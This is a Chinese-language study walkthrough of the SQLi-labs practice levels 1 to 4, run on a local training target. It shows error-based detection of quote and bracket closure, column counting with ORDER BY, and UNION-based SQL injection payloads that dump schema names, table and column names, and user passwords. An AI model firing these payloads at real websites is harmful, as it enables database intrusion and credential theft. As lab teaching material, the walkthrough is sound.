注:由于为了更方便学习,我在网页源码后面把sql语句输出出来了方便学习,实际学习的时候是要看报错自己推理测试的
爆数据库常用的代码集合
#爆所有数据库名
select GROUP_CONCAT(schema_name)FROM information_schema.schemata
#爆某数据库所有表名
select group_concat(table_name) from information_schema.tables where table_schema="数据库名"
#爆所有列名
select group_concat(column_name) from information_schema.columns where table_name="表名"
#爆某一列的所有数据
SELECT GROUP_CONCAT(列名) FROM 表名
一.less1 —— 字符注入(单引号闭合)
1.首先判断注入的类型:
方法:先在后面加一个单引号 ‘ 测试一下(注意别用中文单引号)
127.0.0.1/sqli-labs/Less-1/?id=1'
会出现报错,报错内容如下(报错说明程序员未对输入内容进行过滤)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
可以猜它的sql语句如下
#原sql语句:
select xx from xx where id='1'
#注入后的sql语句变成了:
select xx from xx where id='1''
#不能构成合法的sql语句会报错,可以进行字符型注入
2.判断完是字符型注入,想要把第三个单引号进行注释掉就能构造闭合,然后自己添加后续的sql语句
方法:在4的后面加一个单引号 ‘, 可以构成闭合,这个时候用 –+或者#注释掉第三个单引号以及后面的内容,加号会被自动解析成空格
http://127.0.0.1/sqli-labs/Less-1/?id=4' or 1=2 --+
此时构造的sql语句
select xx from xx where id='1'or 1=1;
#回显的内容:
SELECT * FROM users WHERE id='4' and 1=1 -- ' LIMIT 0,1
3.分析列数(为联合查询铺垫)
方法:order by 分析列数(二分最快)
这里到order by 3的时候可以正常回显,大于3的时候会报错,无法正确回显
127.0.0.1/sqli-labs/Less-1/?id=4' order by 4 --+
4.进行union联合注入
补充:union联合查询的规则:将后面的表的数据插入到前面的表的后面然后一起显示(可能叙述有不太准确的地方)
1.先测试一下数据在哪里进行显示的:
http://127.0.0.1/sqli-labs/Less-1/id=-1'union select 100,2,3--+
注意这里id是-1
当把id改成-1后,这时页面显示的结果如下,原因在于主表的数据查不到然后联合的那个数据(100,2,3),如果id合法的话2和3不会显示出来
结论:经过分析可知,三列里,只有第二第三个参数能回显,第一个应该是没什么用的
为了更直观的感受上面的注入和数据库中表的关系,可以看一下下面sql语句执行的实际效果
显然,如果id=1的话,新添的数据被加在了联合表的后面,并且第一个参数是id,确实不会正确回显,第二第三个参数是username和password
进行敏感操作(1-4关都这样,主要在第一关详细讲)
当我们对数据回显位置有了了解之后,就可以在联合查询语句中进行查询敏感信息了
1.比如得到所有数据库的名字
注1:因为知道了参数对应的回显位置,所以下面让password的位置回显数据
注2:利用group_concat(字段名)来吧需要的字段的数据聚合到一个组然后输出
http://127.0.0.1/sqli-labs/Less-1/?id=-1'
union select 1,2,GROUP_CONCAT(schema_name)FROM information_schema.schemata--+
2.爆security数据库的所有表名
http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+
3.爆users表的列
http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+
4.爆数据
把id=2的username和password找出来
http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,username,password from users where id=2 --+
对应的sql语句是
SELECT*FROM users WHERE id='-1' UNION SELECT 1,username,PASSWORD FROM users WHERE id=2
注:把上面group_cancat(xx)改为count()即可得知所需数据的个数*
二.less2 —— 整型注入
less2和less1的步骤差不多,下面省略不写了,只写主要部分
分析:
当id等于1的时候可以正常回显
http://127.0.0.1/sqli-labs/Less-2/?id=1
1.首先判断注入类型
报错内容(这里的报错和less1中的是不一样的):
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
可以猜测到它的sql语句是
#原sql语句是:
select xx from xx where id=xx
#注入后的sql语句是
select xx from xx where id=xx'
#不符合sql语法格式不能正常回显
2.分析列数(为联合查询铺垫)
同less1 ,order by 3 为最大值
3.进行union联合注入
由于整型注入就不用考虑闭合的问题了
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,3
三.less3 —— 字符注入(单引号+括号闭合)
1.测试注入类型
后面加 id=1’,出现如下报错。后面加 id=1”可以正常回显
报错内容:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
原sql语句是:
select xx from xx where id=('xx')
#注入后的sql语句是:
select xx from xx where id=('xx'')
#不符合sql语法
2.分析列数(为联合查询铺垫)
同less1 ,order by 3 为最大值
3.进行union联合注入
分析:对于(‘xx’),我们可以通过注释掉后半部分 ‘) ,然后进行手动构造闭合
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,2,3--+
此时构成的sql语句是:
select xx from xx where id=('1') union select 1,2,3 --+')
四.less4 —— 字符注入(双引号+括号闭合)
1.测试注入类型
后面加 id=1”,出现如下报错。后面加 id=1’可以正常回显
报错内容(注意看和less3的报错区别)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
原sql语句是:
select xx from xx where id=("xx")
#注入后的sql语句是:
select xx from xx where id=("xx"")
#不符合sql语法
2.分析列数(为联合查询铺垫)
同less1 ,order by 3 为最大值
3.进行union联合注入
分析:构造闭合的方式同 less3,知识单引号变成双引号而已
构造方式:
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,3 --+
五.总结
SQL注入基础-判断闭合形式
SELECT * FROM `users` WHERE id= 1;#整形闭合
SELECT * FROM `users` WHERE id='1'; #单引号闭合
SELECT * FROM `users` WHERE id="1";#双引号闭合
SELECT * FROM `users` WHERE id=(1);#单括号闭合
SELECT * FROM `users` WHERE id=('1');#单引号加括号
SELECT * FROM `users` WHERE id=("1");#双引号加括号
步骤:
- 1.注意看上面的报错内容,通过报错内容推里原sql语句的形式
- 2.用order by 分析列数
- 3.思考闭合的形式然后使用联合注入进行信息提取